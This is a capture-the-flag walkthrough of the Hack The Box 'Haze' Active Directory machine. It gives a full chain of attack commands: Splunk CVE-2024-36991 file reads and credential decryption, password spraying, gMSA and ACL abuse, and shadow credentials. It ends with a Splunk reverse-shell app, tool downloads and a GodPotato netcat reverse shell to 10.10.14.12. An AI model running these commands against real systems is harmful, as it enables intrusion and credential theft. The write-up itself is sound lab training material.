Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Tue Jun 24 19:29:10 2025 -- 1 IP address (1 host up) scanned in 168.71 secondsas we know we are dealing with windows AD box, let’s add the domain and DC in /etc/hosts file
echo "10.10.11.61 haze.htb dc01.haze.htb" | sudo tee -a /etc/hostsEnumeration
Port 139,445/SMB
smb port is open and it is looks as the windows box so we first try to find open shares, or null session to shares
smbclient -L //10.10.11.61 -N
then i ran enum4linux but didn’t find anything useful, we just found Domain Name and SID let’s keep this information in our back-pocket
Domain Name: HazeDomain Sid: S-1-5-21-323145914-28650650-2368316563nice, let’s move to another service/port
Port 389/LDAP
let’s check if the LDAP allows anonymous binding so we can try to get more information i use ldapsearch for it
ldapsearch -H ldap://10.10.11.61 -x -b "DC=haze,DC=htb"
we need valid credentials for it, let’s check MSRPC
Port 135/MSRPC
we can try to enumerate users, groups using rpcclient if it allows anonymous login and permissions to view the users
rpcclient -U '' -N 10.10.11.61we logged in successfully, but got error while running - enumdomusers
Splunk - Application, Port 8000,8088,8089
let’s first open the port 8000
then i’ll try to open 8089 port
this leaks the version of the splunk application running on machine quick google search reveals that it is vulnerable to LFI (CVE-2024-36991)
and i found PoC for it → https://github.com/Mr-xn/CVE-2024-36991
/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Windows/win.ini
there’s Nuclei template available for this vulnerability as well
nuclei -t ./CVE-2024-36991.yaml -u http://10.10.11.61:8000
let’s include C:\Windows\System32\drivers\etc\hosts
now i searched for the location where splunk credentials are stored
i found it is stored at Program Files/Splunk/etc/passwd
https://orionx.foregenix.com/blog/pentesting-exploiting-cve-2024-36991-in-splunk-enterprise
we found 2 interesting files - splunk.secret and authentication.conf
after reading a bit i found another interesting configuration file that we can try to get
curl 'http://10.10.11.61:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/system/local/authentication.conf'
nice we got the LDAP credentials but the password is encrypted to decrypt we can use https://github.com/HurricaneLabs/splunksecrets, we can install it using pip → pip3 install splunksecrets --break-system-packages
but to decrypt the password we need secret
curl 'http://10.10.11.61:8000/en-US/modules/messaging/C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../C:../Program%20Files/Splunk/etc/auth/splunk.secret'
and save it in secret file and let’s try to decrypt the password
splunksecrets splunk-legacy-decrypt -S secret
Nice we got the password - Ld@p_Auth_Sp1unk@2k24
now we have a name and password for paul taylor but i need specific username to try login with, to find valid username i’ll be using kerbrute first create users.txt with common username formats
paul.taylorptaylorp.taylortaylor.ppaul.tpaulttpault.paulpaul_tayloradministratorNote: i used the administrator account, as it is always true to find if the output is correct or not
kerbrute userenum --dc 10.10.11.61 -d haze.htb users.txt
i verified this credential with SMB and LDAP using netexec
sudo netexec ldap 10.10.11.61 -u paul.taylor -p Ld@p_Auth_Sp1unk@2k24
what i first do when i got valid credentials!, run the netexec with --uses option to enumerate users on the system
sudo netexec smb 10.10.11.61 -u paul.taylor -p Ld@p_Auth_Sp1unk@2k24 --users
only one user!, hmm, let’s use bloodhound to get clear picture of Domain
bloodhound-python -c all -u paul.taylor -p 'Ld@p_Auth_Sp1unk@2k24' -d haze.htb -ns 10.10.11.61
but unfortunately we didn’t find any useful information from it as well, let’s use ldapsearch with credentials and we’ll surely get some useful info
ldapsearch -H ldap://10.10.11.61 -b "DC=haze,DC=htb" -D "paul.taylor@haze.htb" -w 'Ld@p_Auth_Sp1unk@2k24and save the output to file and while reading the output i found another 2 users which is not seen in bloodhound and netexec
both users’s were member of Remote Management users group to confirm they are valid user’s i used previous format firstname.lastname and added both users to users.txt and run kerbrute again
now as we have other users’s as well we’ll spary password to these usernames
sudo netexec smb 10.10.11.61 -u users.txt -p Ld@p_Auth_Sp1unk@2k24 --continue-on-success
and bingo we got another valid creds, let’s see if the user has winrm access or not
sudo netexec winrm 10.10.11.61 -u Mark.Adams -p Ld@p_Auth_Sp1unk@2k24
It’s Pwned!!
evil-winrm -i 10.10.11.61 -u mark.adams -p Ld@p_Auth_Sp1unk@2k24
still we didn’t get the user.txt yet, let’s continue our enumeration i found that mark.adams is the member of non-default windows group - gMSA_manager
whoami /groups
let’s try to read GMSA (Group managed service Accounts) password via netexec
sudo netexec ldap 10.10.11.61 -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 --gmsa
but it says we don’t have permissions to read
first i’ll check if user really has the permissions to read the gMSA password or not, and it shows that our user has no permissions to read the password as only Domain Admins can read it
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword
let’s check what permissions do we have on GMSA object (Haze-IT-Backup) account, i used powershell script from - https://blog.netwrix.com/2021/08/25/running-laps-in-the-race-to-security/
below is the powershell script that you can directly use to get permissions on the Haze-IT-Backup Account
##Get the GUID of the extended attribute ms-ds-GroupMSAMembership from Schema$schemaIDGUID = @{}Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-ds-GroupMSAMembership)' -Properties name, schemaIDGUID |ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
<# **REPLACE DN VARIABLE BELOW**Declare the samaccountname of the gMSA to search for#>$target = 'CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb'
##Get distinguished name of all gMSAs objects from the OU$gMSAs = Get-ADServiceAccount -identity $target
<#Get objects that have specific permissions on the target(s):Full Control(GenericAll)Write all Properties (WriteProperty where ObjectType = 00000000-0000-0000-0000-000000000000#>Set-Location ad:foreach ($gmsa in $gMSAs){(Get-Acl $gmsa.distinguishedname).access |Where-Object { (($_.AccessControlType -eq 'Allow') -and ($_.activedirectoryrights -in ('GenericAll') -and $_.inheritancetype -in ('All', 'None')) -or (($_.activedirectoryrights -like '*WriteProperty*') -and ($_.objecttype -eq '00000000-0000-0000-0000-000000000000')))} |ft ([string]$gmsa.name),identityreference, activedirectoryrights, objecttype, isinherited -autosize}<#Get objects that have specific permissions on the target(s) and specifically the gMSA attribute:WriteProperty#>Set-Location ad:foreach ($gmsa in $gMSAs){(Get-Acl $gmsa.distinguishedname).access |Where-Object {(($_.AccessControlType -eq 'Allow') -and (($_.activedirectoryrights -like '*WriteProperty*') -and ($_.objecttype -in $schemaIDGUID.Keys)))} |ft ([string]$gmsa.name),identityreference, activedirectoryrights, objecttype, isinherited -AutoSize}upload powershell script and run it
powershell -ep bypass .\gmsapermissions.ps1
and we found that gMSA_Managers has the write permissions over the Haze-IT-Backup let’s edit property PrincipalsAllowedToRetrieveManagedPassword and add our user to it so we can possibly read the GMSA password
Set-ADServiceAccount -Identity "CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb" -PrincipalsAllowedToRetrieveManagedPassword mark.adamsafter running this command we can check if we got the permission to read password
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword
and now if we try to read the password we can get the NTLM hash of the Haze-IT-Backup account
sudo netexec ldap 10.10.11.61 -u mark.adams -p Ld@p_Auth_Sp1unk@2k24 --gmsa
now as i didn’t get much information from bloodhound when i ran it from my kali so i ran BloodHound.exe from the machine itself and got the information that we needed further
i found that Haze-IT-Backup is writeOwner of the group Support_Services group, and the support_services has forcechangepassword and AddKeyCredentials permissions over the edward martin user, so looks like shadow credential attack
let’s add Haze-IT-Backup$ as owner to the support_service group
impacket-owneredit -action write -new-owner 'Haze-IT-Backup$' -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'haze.htb'/'Haze-IT-Backup$' -dc-ip 10.10.11.61 -hashes 4de830d1d58c14e241aff55f82ecdba1:4de830d1d58c14e241aff55f82ecdba1
Now let’s give the WriteMembers permission to Haze-IT-Backup$ so we can add users to it and then we’ll add ourself as the user to the group
dacledit.py -action 'write' -rights 'WriteMembers' -principal 'Haze-IT-Backup$' -target-dn 'CN=SUPPORT_SERVICES,CN=USERS,DC=HAZE,DC=HTB' 'haze.htb'/'Haze-IT-Backup$' -hashes :4de830d1d58c14e241aff55f82ecdba1
now we add ourself to support_services group
bloodyAD --host 10.10.11.61 -d "haze.htb" -u "Haze-IT-Backup$" -p ":4de830d1d58c14e241aff55f82ecdba1" -f rc4 add groupMember 'SUPPORT_SERVICES' 'Haze-IT-Backup$'
first List all the current KeyCredential IDs and their creation times associated with the DC$ object.
pywhisker -d haze.htb -u "Haze-IT-Backup$" -H 4de830d1d58c14e241aff55f82ecdba1 --target "edward.martin" --action "list"
PyWhishker add functionality, will generates a public-private key pair and adds a new key credential to the target object
pywhisker -d "haze.htb" -u "Haze-IT-Backup$" -H "4de830d1d58c14e241aff55f82ecdba1" --target "edward.martin" --action "add" --filename edward
it will generate pfx file
now we gain run list command to list the credentials associated with the user
pywhisker -d haze.htb -u "Haze-IT-Backup$" -H 4de830d1d58c14e241aff55f82ecdba1 --target "edward.martin" --action "list"
now we request TGT for the edward.martin user
python ~/offsec/tools/PKINITtools/gettgtpkinit.py -cert-pfx "$(pwd)/edward.pfx" -pfx-pass RqwFHvBA9ZTh2dvaiOsw haze.htb/edward.martin out.ccache
note this key, as we need this key while request for NT hash
now we export our TGT and request for NT hash
export KRB5CCNAME=/home/kali/hackthebox/haze/out.ccacherequest the NThash for the edward.martin user
python ~/offsec/tools/PKINITtools/getnthash.py -key 40e05596335597bd372b1ad73916c3d21586137ea2affb932fcbff53009a5a75haze.htb/edward.martin
Nice we got the NT hash of the edward.martin user
Another way - certipy-ad
certipy-ad has shadow auto mode that wi’ll automate all this stuff, first need to change the ownership, give yourself add member permission, and yourself to support_services group and run certipy-ad
certipy-ad shadow auto -u Haze-IT-Backup$ -hashes :4de830d1d58c14e241aff55f82ecdba1 -account edward.martin -dc-ip 10.10.11.61
Note: The machine itself resetting privileges, so we need to do this fast i’ve created bash script that makes it automate
#!/bin/bash

sudo netexec winrm 10.10.11.61 -u edward.martin -H 09e0b3eeb2e7a6b0d419e9ff8f4d91af
let’s login as edward.martin
evil-winrm -i 10.10.11.61 -u edward.martin -H 09e0b3eeb2e7a6b0d419e9ff8f4d91af
nice we got user.txt
let’s start our enumeration to get admin access
also i found our user is member of backup_reviewers
whoami /groups
let’s see the access controls of the C:\Backups folder
we can see that we do have access to the backups folder
i found splunk backup inside it
download it using - download splunk_backup_2024-08-06.zip
after unzipping file i found the administrator’s password inside it
to decrypt the hash we need $7$ hash, let’s try to find it in this splunk directory
grep -irF '$7$'found 2 -3 hash but not decryptable
reading the https://github.com/HurricaneLabs/splunksecrets docs i found that there’s another algorithm $1$ that might be crackable let’s search that as well
grep -irF '$1$'
nice, let’s try to decrypt this
splunksecrets splunk-decrypt -S splunk.secret
we got the password for splunk admin - Sp1unkadmin@2k24
and found that alexander.green is the memebr of Splunk_admin possibly it’s the alexander’s password
as we can see the user is not member of remote management users so we can not login using evil-winrm, let’s check if these are valid credentials for the splunk enterprise or not
i found https://github.com/0xjpuff/reverse_shell_splunk here we need to edit run.ps1 to add our kali machine’s IP and port
then
tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunkmv reverse_shell_splunk.tgz reverse_shell_splunk.splstart netcaat listener, now go to Apps > Manage > Install > Click on Install app from file select spl file and install and we’ll get the shell
running whoami /priv we found that user has SeImpersonatePrivilege
i’ll use godpotato with nc.exe to get shell first i’ll download both in target machine
iwr -uri http://10.10.14.12/nc64.exe -outfile nc.exeiwr -uri http://10.10.14.12/GodPotato-NET4.exe -outfile godpotato.exenow start listener on port 443 and run godpotato to get shell using nc.exe
.\godpotato.exe -cmd "C:\temp\nc.exe 10.10.14.12 443 -e cmd"
we can see the process is started as NT AUTHORITY\SYSTEM
